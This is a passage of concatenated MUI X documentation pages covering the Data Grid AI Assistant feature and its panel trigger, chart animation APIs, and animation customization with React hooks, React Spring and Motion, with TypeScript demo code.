              imdbRating: 'avg',
            },
          },
        }}
      />
    </div>
  );
}

```

## Selectors

{{"component": "modules/components/SelectorsDocs.js", "category": "Aggregation"}}

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)
- [GridAggregationFunction](/x/api/data-grid/grid-aggregation-function/)

---

# Source: https://mui.com/x/api/data-grid/ai-assistant-panel-trigger.md

# AiAssistantPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - AI Assistant Panel component 🚧

## Import

```jsx
import { AiAssistantPanelTrigger } from '@mui/x-data-grid-premium/components';
// or
import { AiAssistantPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/aiAssistantPanel/AiAssistantPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/aiAssistantPanel/AiAssistantPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/components/ai-assistant-panel.md

---
title: Data Grid - AI Assistant Panel component
productId: x-data-grid
components: AiAssistantPanelTrigger
packageName: '@mui/x-data-grid-premium'
githubLabel: 'scope: data grid'
---

# Data Grid - AI Assistant Panel component [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') 🚧

Customize the Data Grid's AI assistant panel.

:::warning
This component is incomplete.

Currently, the AI Assistant Panel Trigger is the only part of the AI Assistant Panel component available.
Future versions of the AI Assistant Panel component will make it possible to compose each of its parts for full customization.

:::

The AI assistant panel is part of the [AI Assistant feature](/x/react-data-grid/ai-assistant/).

You can use the AI Assistant Panel Trigger and [Toolbar](/x/react-data-grid/components/toolbar/) components when you need to customize the AI assistant panel trigger, or when implementing a custom toolbar.

## Basic usage

The demo below shows how to add an AI assistant panel trigger to a custom toolbar.

```tsx
import {
  DataGridPremium,
  Toolbar,
  ToolbarButton,
  AiAssistantPanelTrigger,
  GridAiAssistantPanel,
} from '@mui/x-data-grid-premium';
import { mockPromptResolver, useDemoData } from '@mui/x-data-grid-generator';
import Tooltip from '@mui/material/Tooltip';
import AssistantIcon from '@mui/icons-material/Assistant';

function CustomToolbar() {
  return (
    <Toolbar>
      <Tooltip title="AI Assistant">
        <AiAssistantPanelTrigger render={<ToolbarButton />}>
          <AssistantIcon fontSize="small" />
        </AiAssistantPanelTrigger>
      </Tooltip>
    </Toolbar>
  );
}

export default function GridAiAssistantPanelTrigger() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        loading={loading}
        aiAssistant
        slots={{ toolbar: CustomToolbar, aiAssistantPanel: GridAiAssistantPanel }}
        onPrompt={mockPromptResolver}
        showToolbar
      />
    </div>
  );
}

```

## Anatomy

```tsx
import { AiAssistantPanelTrigger } from '@mui/x-data-grid-premium';

<AiAssistantPanelTrigger />;
```

### AI Assistant Panel Trigger

`<AiAssistantPanelTrigger />` is a button that opens and closes the AI assistant panel.
It renders the `baseButton` slot.

## Custom elements

Use the `render` prop to replace default elements.
See [Components usage—Customization](/x/react-data-grid/components/usage/#customization) for more details.

## Accessibility

### ARIA

You must apply a text label or an `aria-label` attribute to the `<AiAssistantPanelTrigger />`.


# AiAssistantPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - AI Assistant Panel component 🚧

## Import

```jsx
import { AiAssistantPanelTrigger } from '@mui/x-data-grid-premium/components';
// or
import { AiAssistantPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/aiAssistantPanel/AiAssistantPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/aiAssistantPanel/AiAssistantPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/ai-assistant.md

---
title: Ask Your Table - AI Assistant
---

# Ask Your Table - AI Assistant [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Translate natural language into Data Grid views.

:::warning
To use this feature you must have a prompt processing backend.
MUI [offers this service](/x/react-data-grid/ai-assistant/#with-muis-service) as a part of a premium package add-on.
Email us at [sales@mui.com](mailto:sales@mui.com) for more information.
:::

The AI Assistant feature lets users interact with the Data Grid component using natural language.
Type a prompt like "sort by name", "show amounts larger than 1000", or even make more complex queries like "which customers brought the most revenue the past year" in the prompt input field and the Data Grid will update accordingly.
In [supported browsers](https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition#browser_compatibility), users can also prompt the assistant using their voice.

To enable this feature on the Data Grid, pass the `aiAssistant` prop and use the `GridAiAssistantPanel` component for `aiAssistantPanel` slot:

```tsx
import { DataGridPremium, GridAiAssistantPanel } from '@mui/x-data-grid-premium';
// ...
<DataGridPremium aiAssistant slots={{ aiAssistantPanel: GridAiAssistantPanel }} />;
```

## Improving accuracy with example values

To increase the accuracy of the language processing, provide example values for the available columns via one of the methods below.

### Provide custom examples

Use the `examples` property on items of the `columns` array to provide custom examples as context for prompt processing.
The `examples` property should contain an array of possible values for each respective column.

:::info
AI Assistant demos use a limited version of [MUI's processing service](/x/react-data-grid/ai-assistant/#with-muis-service).
:::

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridAiAssistantPanel,
  unstable_gridDefaultPromptResolver as promptResolver,
} from '@mui/x-data-grid-premium';
import {
  randomBoolean,
  randomCompanyName,
  randomCountry,
  randomCreatedDate,
  randomEmail,
  randomInt,
  randomJobTitle,
  randomPhoneNumber,
  randomTraderName,
  useDemoData,
} from '@mui/x-data-grid-generator';

function createExamples(column: string) {
  switch (column) {
    case 'name':
      return Array.from({ length: 5 }, () => randomTraderName());
    case 'email':
      return Array.from({ length: 5 }, () => randomEmail());
    case 'position':
      return Array.from({ length: 5 }, () => randomJobTitle());
    case 'company':
      return Array.from({ length: 5 }, () => randomCompanyName());
    case 'salary':
      return Array.from({ length: 5 }, () => randomInt(30000, 80000));
    case 'phone':
      return Array.from({ length: 5 }, () => randomPhoneNumber());
    case 'country':
      return Array.from({ length: 5 }, () => randomCountry());
    case 'dateCreated':
      return Array.from({ length: 5 }, () => randomCreatedDate());
    case 'isAdmin':
      return Array.from({ length: 5 }, () => randomBoolean());
    default:
      return [];
  }
}

function processPrompt(prompt: string, context: string, conversationId?: string) {
  return promptResolver(
    'https://backend.mui.com/api/datagrid/prompt',
    prompt,
    context,
    conversationId,
  );
}

const VISIBLE_FIELDS = [
  'id',
  'avatar',
  'name',
  'website',
  'rating',
  'email',
  'phone',
  'username',
  'position',
  'company',
  'salary',
  'country',
  'city',
  'lastUpdated',
  'dateCreated',
  'isAdmin',
];

export default function AssistantWithExamples() {
  const { data } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 1000,
  });

  const columns = React.useMemo(
    () =>
      data.columns.map((column) => ({
        ...column,
        examples: createExamples(column.field),
      })),
    [data.columns],
  );

  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columns}
        aiAssistantSuggestions={[
          { value: 'Sort by name' },
          { value: 'Show people from the EU' },
          { value: 'Sort by company name and employee name' },
          { value: 'Order companies by amount of people' },
        ]}
        aiAssistant
        onPrompt={processPrompt}
        showToolbar
        slots={{
          aiAssistantPanel: GridAiAssistantPanel,
        }}
      />
    </div>
  );
}

```

:::success
Provide examples for the [derived columns](/x/react-data-grid/pivoting/#derived-columns-in-pivot-mode) using the `getPivotDerivedColumns()` prop.
:::

### Use row data for examples

Pass the `allowAiAssistantDataSampling` prop to use row data to generate examples.
This is useful if you're dealing with non-sensitive data and want to skip creating custom examples for each column.

Data is collected randomly at the cell level, which means that the examples for a given column might not come from the same rows.

```tsx
import {
  DataGridPremium,
  GridAiAssistantPanel,
  unstable_gridDefaultPromptResolver as promptResolver,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = [
  'id',
  'avatar',
  'name',
  'website',
  'rating',
  'email',
  'phone',
  'username',
  'position',
  'company',
  'salary',
  'country',
  'city',
  'lastUpdated',
  'dateCreated',
  'isAdmin',
];

function processPrompt(prompt: string, context: string, conversationId?: string) {
  return promptResolver(
    'https://backend.mui.com/api/datagrid/prompt',
    prompt,
    context,
    conversationId,
  );
}

export default function AssistantWithDataSampling() {
  const { data } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 1000,
  });

  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPremium
        {...data}
        aiAssistantSuggestions={[
          { value: 'Sort by name' },
          { value: 'Show people from the EU' },
          { value: 'Sort by company name and employee name' },
          { value: 'Order companies by amount of people' },
        ]}
        allowAiAssistantDataSampling
        aiAssistant
        onPrompt={processPrompt}
        showToolbar
        slots={{
          aiAssistantPanel: GridAiAssistantPanel,
        }}
      />
    </div>
  );
}

```

### Using server-side data

The example below shows how to combine the AI Assistant with [server-side data](/x/react-data-grid/server-side-data/).

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridDataSource,
  GridGetRowsResponse,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
  unstable_gridDefaultPromptResolver as promptResolver,
  GridAiAssistantPanel,
  DataGridPremiumProps,
} from '@mui/x-data-grid-premium';
import { useMockServer } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = [
  'id',
  'avatar',
  'name',
  'website',
  'rating',
  'email',
  'phone',
  'username',
  'position',
  'company',
  'salary',
  'country',
  'city',
  'lastUpdated',
  'dateCreated',
  'isAdmin',
];

const aggregationFunctions = {
  sum: { columnTypes: ['number'] },
  avg: { columnTypes: ['number'] },
  min: { columnTypes: ['number', 'date', 'dateTime'] },
  max: { columnTypes: ['number', 'date', 'dateTime'] },
  size: {},
};

const pivotingColDef: DataGridPremiumProps['pivotingColDef'] = (
  originalColumnField,
  columnGroupPath,
) => ({
  field: columnGroupPath.concat(originalColumnField).join('>->'),
});

function processPrompt(prompt: string, context: string, conversationId?: string) {
  return promptResolver(
    'https://backend.mui.com/api/datagrid/prompt',
    prompt,
    context,
    conversationId,
  );
}

export default function AssistantWithDataSource() {
  const apiRef = useGridApiRef();
  const { columns, initialState, fetchRows } = useMockServer<GridGetRowsResponse>(
    {
      dataSet: 'Employee',
      visibleFields: VISIBLE_FIELDS,
      maxColumns: 16,
      rowLength: 1000,
    },
    { useCursorPagination: false },
  );

  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
          groupKeys: JSON.stringify(params.groupKeys),
          groupFields: JSON.stringify(params.groupFields),
          aggregationModel: JSON.stringify(params.aggregationModel),
          pivotModel: JSON.stringify(params.pivotModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
          aggregateRow: getRowsResponse.aggregateRow,
          pivotColumns: getRowsResponse.pivotColumns,
        };
      },
      getGroupKey: (row) => row.group,
      getChildrenCount: (row) => row.descendantCount,
      getAggregatedValue: (row, field) => row[field],
    }),
    [fetchRows],
  );

  const initialStateUpdated = useKeepGroupedColumnsHidden({
    apiRef,

    initialState: {
      ...initialState,
      pagination: {
        paginationModel: { pageSize: 10, page: 0 },
        rowCount: 0,
      },
    },
  });

  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPremium
        apiRef={apiRef}
        columns={columns}
        dataSource={dataSource}
        dataSourceCache={null}
        pagination
        initialState={initialStateUpdated}
        pageSizeOptions={[10, 20, 50]}
        showToolbar
        allowAiAssistantDataSampling
        aiAssistantSuggestions={[
          { value: 'Sort by name' },
          { value: 'Show people from the EU' },
          { value: 'Sort by company name and employee name' },
          { value: 'Order companies by amount of people' },
        ]}
        aiAssistant
        slots={{
          aiAssistantPanel: GridAiAssistantPanel,
        }}
        onPrompt={processPrompt}
        aggregationFunctions={aggregationFunctions}
        onDataSourceError={console.error}
        pivotingColDef={pivotingColDef}
      />
    </div>
  );
}

```

### Data visualization

AI Assistant analyzes the query to determine if it is helpful to visualize the results.

[Integrate](/x/react-data-grid/charts-integration/) the Data Grid with [MUI X Charts](/x/react-charts/) to enable the Data Grid to apply the visualization instructions.

```tsx
import { useDemoData } from '@mui/x-data-grid-generator';
import {
  DataGridPremium,
  GridAiAssistantPanel,
  unstable_gridDefaultPromptResolver as promptResolver,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  useGridApiRef,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
  ChartsRendererProps,
} from '@mui/x-charts-premium/ChartsRenderer';

function processPrompt(prompt: string, context: string, conversationId?: string) {
  return promptResolver(
    'https://backend.mui.com/api/datagrid/prompt',
    prompt,
    context,
    conversationId,
  );
}

export default function AssistantWithCharts() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10000,
  });

  const apiRef = useGridApiRef();

  const initialState = {
    ...data.initialState,
    pagination: {
      ...data.initialState?.pagination,
      paginationModel: {
        pageSize: 25,
      },
    },
    chartsIntegration: {
      charts: {
        main: {
          chartType: 'column',
        },
      },
    },
  };

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 450 }}>
          <DataGridPremium
            {...data}
            apiRef={apiRef}
            initialState={initialState}
            pagination
            aiAssistantSuggestions={[
              {
                value:
                  'Visualize the unit price averages per status for each commodity',
              },
              {
                value:
                  'Show the total revenue trends per maturity quarter for each commodity',
              },
            ]}
            allowAiAssistantDataSampling
            aiAssistant
            onPrompt={processPrompt}
            showToolbar
            slots={{
              aiAssistantPanel: GridAiAssistantPanel,
              chartsPanel: GridChartsPanel,
            }}
            chartsIntegration
            slotProps={{
              chartsPanel: {
                schema: configurationOptions,
              },
            }}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <GridChartsRendererProxy id="main" renderer={CustomRenderer} />
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

function CustomRenderer(props: ChartsRendererProps) {
  // Do not render anything if the dimensions or values are empty
  if (props.dimensions.length === 0 || props.values.length === 0) {
    return null;
  }

  return <ChartsRenderer {...props} />;
}

```

## Processing service integration

Natural language prompts must be processed by a service to understand what kinds of state changes must be applied to the Data Grid to match the user's request.
You can use MUI's processing service or build your own.

### With MUI's service

The Data Grid provides all the necessary elements for integration with MUI's service.

1. Contact [sales@mui.com](mailto:sales@mui.com) to get an API key for our processing service.

   :::warning
   Do not expose the API key to the public. Instead, keep it private, use a proxy server that receives prompt processing requests, adds the `x-api-key` header, and passes the request on to MUI's service.

   This is an example of a [Fastify proxy](https://www.npmjs.com/package/@fastify/http-proxy) for the prompt requests.

   ```ts
   fastify.register(proxy, {
     upstream: 'https://backend.mui.com',
     prefix: '/api/my-custom-path',
     rewritePrefix: '/api/v1/datagrid/prompt',
     replyOptions: {
       rewriteRequestHeaders: (_, headers) => ({
         ...headers,
         'x-api-key': process.env.MUI_DATAGRID_API_KEY,
       }),
     },
   });
   ```

   :::

2. Enable the AI Assistant feature by adding the `aiAssistant` prop.
   This adds a new button to the Toolbar that controls the Assistant Panel's open state.
3. Provide `<GridAiAssistantPanel />` as a component for the `aiAssistantPanel` slot.
   Slot is by default `null` to prevent bundling of the panel and its child components in the projects that are not using the AI Assistant feature.
4. Provide the `onPrompt()` callback to pass the user's prompts to the service.
   The service's response is used internally by the Data Grid to make the necessary state updates.

   :::success
   You can implement `onPrompt()` with `unstable_gridDefaultPromptResolver()`.
   This adds the necessary headers and stringifies the body in the correct format for you.

   It also makes it possible to provide additional context for better processing results, as shown below:

   ```ts
   const PROMPT_RESOLVER_PROXY_BASE_URL =
     process.env.NODE_ENV === 'development'
       ? 'http://localhost:3000'
       : 'https://api.my-proxy.com';

   function processPrompt(query: string, context: string, conversationId?: string) {
     const additionalContext = `The rows represent: List of employees with their company, position and start date`;

     return unstable_gridDefaultPromptResolver(
       `${PROMPT_RESOLVER_PROXY_BASE_URL}/api/my-custom-path`,
       query,
       context,
       conversationId,
       { additionalContext },
     );
   }
   ```

   By default, MUI's prompt resolver service stores the queries made to the service to analyze potential errors and improve the service (data is never stored).
   Enable `privateMode` to make the service only keep track of the data needed for billing, without any query related data.

   ```ts
   function processPrompt(query: string, context: string, conversationId?: string) {
     return unstable_gridDefaultPromptResolver(
       `${PROMPT_RESOLVER_PROXY_BASE_URL}/api/my-custom-path`,
       query,
       context,
       conversationId,
       { privateMode: true },
     );
   }
   ```

   :::

5. Provide data examples in either of the following ways:
   - Fill the `examples` prop in the `columns` array – this is recommended if you want to avoid exposing the row data to the AI Assistant.
   - Provide access to the row data with `allowAiAssistantDataSampling` prop – since this uses real data, it may lead to better processing results.

6. Optionally, provide `referenceId` in the metadata to track spending and set limits for each entity sharing your API key.
   The MUI Service supports `metadata` property through which you can send the reference that will be stored with the request.
   Later, use that reference in the request history analysis.

   ::warning
   The `metadata` object would store only `referenceId` property. If you are interested in storing more data, please [contact our support team](mailto:support@mui.com).
   ::

   ```ts
   function processPrompt(query: string, context: string, conversationId?: string) {
     return unstable_gridDefaultPromptResolver(
       `${PROMPT_RESOLVER_PROXY_BASE_URL}/api/my-custom-path`,
       query,
       context,
       conversationId,
       {
         metadata: {
           referenceId: 'example-user-reference',
         },
       },
     );
   }
   ```

### With a custom service

The Data Grid exposes elements of the AI Assistant feature so you can build your own prompt processing service:

- The [`aiAssistant` API](/x/api/data-grid/grid-api/#grid-api-prop-aiAssistant) for processing the prompt results and updating state
- The `unstable_gridDefaultPromptResolver()` method for passing the prompt and context with the necessary headers to the processing service

Integrate these elements with your custom components and methods to suit your specific use case.

You can use a fully custom solution and apply the processing result using other Grid APIs such as [`setFilterModel()`](/x/api/data-grid/grid-api/#grid-api-prop-setFilterModel) or [`setSortModel()`](/x/api/data-grid/grid-api/#grid-api-prop-setSortModel) without the need to structure it as a `PromptResponse`.

To replace `unstable_gridDefaultPromptResolver()` with your own solution, send a POST request to MUI's API.

The body of the request requires `query` and `context` parameters.
`conversationId` and `options` are optional.
To keep the previous messages in the context you should pass the `conversationId` from the previous response.

The API response type is `Result<PromptResponse>`.

```ts
type Result<T> = { ok: false; message: string } | { ok: true; data: T };
```

Your resolver should return `Promise<PromptResponse>`.

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/charts/animated-area.md

# AnimatedArea API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { AnimatedArea } from '@mui/x-charts/LineChart';
// or
import { AnimatedArea } from '@mui/x-charts';
// or
import { AnimatedArea } from '@mui/x-charts-pro';
// or
import { AnimatedArea } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| skipAnimation | `bool` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/AnimatedArea.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/AnimatedArea.tsx)

---

# Source: https://mui.com/x/api/charts/animated-line.md

# AnimatedLine API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { AnimatedLine } from '@mui/x-charts/LineChart';
// or
import { AnimatedLine } from '@mui/x-charts';
// or
import { AnimatedLine } from '@mui/x-charts-pro';
// or
import { AnimatedLine } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| skipAnimation | `bool` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/AnimatedLine.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/AnimatedLine.tsx)

---

# Source: https://mui.com/x/react-charts/animation.md

---
title: Charts - Animation
productId: x-charts
---

# Charts - Animation

Learn how to customize both CSS and JavaScript-based Chart animations.

Some elements of the MUI X Charts are animated by default.
For example, the bars in a Bar Chart rise from the axis, and the slices in a Pie Chart expand to fill the circle.

These animations are primarily built with CSS, but some use JavaScript-based React hooks as well.
You can use these hooks to animate other elements of the Charts that aren't animated by default, or to add animations to your own custom components.

To customize Chart animations, you may need to override CSS classes or implement the custom hooks provided, depending on your specific use case.

## Customizing CSS animations

You can override the default CSS classes to customize CSS-based animations.
The demo below shows how you can increase the label's animation duration to two seconds:

```tsx
import * as React from 'react';
import { pieArcLabelClasses, PieChart } from '@mui/x-charts/PieChart';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';

const data = [
  { id: 0, value: 10, label: 'series A' },
  { id: 1, value: 15, label: 'series B' },
  { id: 2, value: 20, label: 'series C' },
];

export default function CSSAnimationCustomization() {
  const [key, rerender] = React.useReducer((x) => x + 1, 0);

  return (
    <Stack>
      <PieChart
        key={key}
        series={[{ data, arcLabel: (item) => `${item.value}` }]}
        width={200}
        height={200}
        hideLegend
        sx={{
          [`& .${pieArcLabelClasses.root}.${pieArcLabelClasses.animate}`]: {
            animationDuration: '2s',
          },
        }}
      />
      <Button onClick={() => rerender()}>Restart Animation</Button>
    </Stack>
  );
}

```

## Customizing JavaScript animations

To override JavaScript-based animations—or to use the Chart animations in custom components—you can use the custom animation hooks.

The Charts package provides the following animation hooks:

- `useAnimateArea()`
- `useAnimateBar()`
- `useAnimateBarLabel()`
- `useAnimateLine()`
- `useAnimatePieArc()`
- `useAnimatePieArcLabel()`

The demo below illustrates how to use these hooks by animating the bar labels to match the bar animation—click **Run Animation** to see it in action:

```tsx
import { BarChart, BarLabelProps } from '@mui/x-charts/BarChart';
import * as React from 'react';
import { useAnimateBarLabel } from '@mui/x-charts/hooks';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { styled } from '@mui/material/styles';

export default function JSDefaultAnimation() {
  const [key, animate] = React.useReducer((v) => v + 1, 0);

  return (
    <Stack>
      <BarChart
        key={key}
        xAxis={[{ data: ['A', 'B', 'C'] }]}
        series={[
          {
            type: 'bar',
            data: [5, 17, 11],
          },
          {
            type: 'bar',
            data: [0, 12, 15],
          },
          {
            type: 'bar',
            data: [1, 3, 9],
          },
        ]}
        width={300}
        height={400}
        barLabel="value"
        slots={{ barLabel: AnimatedBarLabel }}
      />
      <Button onClick={() => animate()}>Run Animation</Button>
    </Stack>
  );
}

const Text = styled('text')(({ theme }) => ({
  ...theme?.typography?.body2,
  stroke: 'none',
  fill: (theme.vars || theme)?.palette?.text?.primary,
}));

function AnimatedBarLabel(props: BarLabelProps) {
  const {
    seriesId,
    dataIndex,
    color,
    isFaded,
    isHighlighted,
    classes,
    xOrigin,
    yOrigin,
    x,
    y,
    width,
    height,
    layout,
    skipAnimation,
    ...otherProps
  } = props;

  const animatedProps = useAnimateBarLabel({
    xOrigin,
    x,
    yOrigin,
    y,
    width,
    height,
    layout,
    skipAnimation,
  });

  return (
    <Text
      {...otherProps}
      textAnchor="middle"
      dominantBaseline="central"
      {...animatedProps}
    />
  );
}

```

### The useAnimate() hook

For more fine-grained animation customization, you can use the `useAnimate(props, params)` hook.
This hook returns a ref as well as props to pass to the animated element.
Each time the `props` params are updated, the hook creates an interpolation from the previous value to the next one.
As each animation frame loads, it calls this interpolator to get the intermediate state and applies the result to the animated element.
(The attribute update is imperative to bypass the React lifecycle for improved performance.)

With `params` you can define the following properties:

- `skip`: If `true`, apply the new value immediately
- `ref`: A ref to merge with the ref returned from this hook
- `initialProps`: The props used to generate the animation of component creation; if none are provided, there is no initial animation
- `createInterpolator`: Create an interpolation function from the last to the next props
- `transformProps`: Optionally transform interpolated props to another format
- `applyProps`: Apply transformed props to the element

You can find more detailed explanations in the hook's JSDoc.

In the example below, labels are positioned above the bars they refer to and are animated with the `useAnimate()` hook:

```tsx
import { BarChart, BarLabelProps } from '@mui/x-charts/BarChart';
import * as React from 'react';
import { useAnimate } from '@mui/x-charts/hooks';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { interpolateObject } from '@mui/x-charts-vendor/d3-interpolate';

export default function JSAnimationCustomization() {
  const [key, animate] = React.useReducer((v) => v + 1, 0);

  return (
    <Stack>
      <BarChart
        key={key}
        xAxis={[{ data: ['A', 'B', 'C'] }]}
        series={[
          {
            type: 'bar',
            data: [5, 17, 11],
          },
          {
            type: 'bar',
            data: [0, 12, 15],
          },
          {
            type: 'bar',
            data: [1, 3, 9],
          },
        ]}
        width={300}
        height={400}
        barLabel="value"
        slots={{ barLabel: AnimatedBarLabel }}
      />
      <Button onClick={() => animate()}>Run Animation</Button>
    </Stack>
  );
}

function AnimatedBarLabel(props: BarLabelProps) {
  const {
    seriesId,
    dataIndex,
    color,
    isFaded,
    isHighlighted,
    classes,
    xOrigin,
    yOrigin,
    x,
    y,
    width,
    height,
    layout,
    skipAnimation,
    ...otherProps
  } = props;

  const animatedProps = useAnimate(
    { x: x + width / 2, y: y - 2 },
    {
      initialProps: { x: x + width / 2, y: yOrigin },
      createInterpolator: interpolateObject,
      transformProps: (p) => p,
      applyProps: (element: SVGTextElement, p) => {
        element.setAttribute('x', p.x.toString());
        element.setAttribute('y', p.y.toString());
      },
      skip: skipAnimation,
    },
  );

  return (
    <text {...otherProps} fill={color} textAnchor="middle" {...animatedProps} />
  );
}

```

## Third-party animation libraries

You can fully override the default Chart animations with your own (third-party) animation library.

:::warning
Third-party JavaScript animation libraries can cause performance issues, especially if you're rendering many data points or enabling interactions like zooming or highlighting.
It's essential to test the performance of your charts with your chosen animation library.
:::

### React Spring

The demo below shows how to integrate [React Spring](https://www.react-spring.dev/docs/getting-started) to add a bounce effect to the bar label animation:

```tsx
import { BarChart, BarLabelProps } from '@mui/x-charts/BarChart';
import * as React from 'react';
import { animated, useSpring } from '@react-spring/web';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';

export default function ReactSpringAnimationCustomization() {
  const [key, animate] = React.useReducer((v) => v + 1, 0);

  return (
    <Stack>
      <BarChart
        key={key}
        xAxis={[{ data: ['A', 'B', 'C'] }]}
        series={[
          {
            type: 'bar',
            data: [5, 17, 11],
          },
          {
            type: 'bar',
            data: [0, 12, 15],
          },
          {
            type: 'bar',
            data: [1, 3, 9],
          },
        ]}
        width={300}
        height={400}
        barLabel="value"
        slots={{ barLabel: AnimatedBarLabel }}
      />

      <Button onClick={() => animate()}>Run Animation</Button>
    </Stack>
  );
}

function AnimatedBarLabel(props: BarLabelProps) {
  const {
    seriesId,
    dataIndex,
    color,
    isFaded,
    isHighlighted,
    classes,
    xOrigin,
    yOrigin,
    x,
    y,
    width,
    height,
    layout,
    skipAnimation,
    ...otherProps
  } = props;

  const style = useSpring({
    from: { y: yOrigin },
    to: { y: y - 4 },
    config: { tension: 100, friction: 10 },
  });

  return (
    <animated.text
      {...otherProps}
      // @ts-ignore
      fill={color}
      x={xOrigin + x + width / 2}
      width={width}
      height={height}
      style={style}
      textAnchor="middle"
    />
  );
}

```

### Motion

The following demo uses the [Motion library](https://motion.dev/docs/react) for a fade-in effect on the points and lines in the chart:

```tsx
import {
  LineChart,
  type AnimatedLineProps,
  type MarkElementProps,
} from '@mui/x-charts/LineChart';
import * as React from 'react';
import { motion } from 'motion/react';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';

export default function MotionAnimationCustomization() {
  const [key, animate] = React.useReducer((v) => v + 1, 0);

  return (
    <Stack>
      <LineChart
        key={key}
        xAxis={[{ data: [1, 2, 3, 5, 8, 10] }]}
        series={[
          {
            data: [2, 5.5, 2, 8.5, 1.5, 5],
            curve: 'linear',
          },
          {
            data: [3, 4, 6, 7, 9, 11],
            curve: 'linear',
          },
        ]}
        width={500}
        height={300}
        slots={{
          line: AnimatedLine,
          mark: AnimatedMark,
        }}
      />
      <Button onClick={() => animate()}>Run Animation</Button>
    </Stack>
  );
}

function AnimatedLine({ d, ownerState, skipAnimation }: AnimatedLineProps) {
  return (
    <motion.path
      d={d}
      fill="transparent"
      stroke={ownerState.color}
      initial={{
        opacity: skipAnimation ? 1 : 0,
      }}
      animate={{ opacity: 1 }}
      transition={{ duration: 1.5, ease: 'easeInOut' }}
    />
  );
}

function AnimatedMark({ x, y, color, skipAnimation }: MarkElementProps) {
  return (
    <motion.circle
      cx={x}
      cy={y}
      r={5}
      fill={color}
      initial={{
        scale: skipAnimation ? 1 : 0,
        opacity: skipAnimation ? 1 : 0,
      }}
      animate={{ scale: 1, opacity: 1 }}
      transition={{ duration: 1, delay: 0.5, ease: 'backOut' }}
    />
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/api-object.md

# Data Grid - API object

Interact with the Data Grid using its API.

